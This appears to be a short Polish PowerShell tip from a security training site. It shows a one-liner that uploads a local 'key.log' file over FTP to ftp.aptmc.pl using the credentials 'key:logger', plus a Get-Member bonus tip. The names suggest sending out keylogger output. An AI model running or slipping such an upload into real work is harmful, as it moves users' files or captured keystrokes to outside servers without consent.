alphasec academy

Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))

Dodatkowe informacje

Powyższy onliner wyśle po FTP plik key.log z aktualnego katalogu do serwera FTP znajdującego się pod adresem ftp.aptmc.pl uwierzytelniając się jako użytkownik key z hasłem logger. Oczywiście w przypadku anonimowego serwera FTP, część z użytkownikiem i hasłem byśmy pominęli.
Cmdlet
Get-Item
o aliase
gi
wykorzystany jest po to, by zapewnić pełną ścieżkę do wysyłanego pliku (zwrócony przez
Get-Item
obiekt pdczas rzutowania na string zwróci właściwość FullName czyli pełną ścieżkę).

Bonus

Żeby rzucić okiem na to, jakie jeszcze ciekawe metody posiada obiekt
Net.WebClient
, moglibyśmy skorzystać z nieocenionego w codziennej pracy cmdletu
Get-Member
:
[Net.WebClient]::New() | Get-Member -MemberType Method
Get-Member
to złoto, pamiętajcie o nim! Nie może być przypadkiem, że jego alias to
gm
, niczym Grand Master. 🤓

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.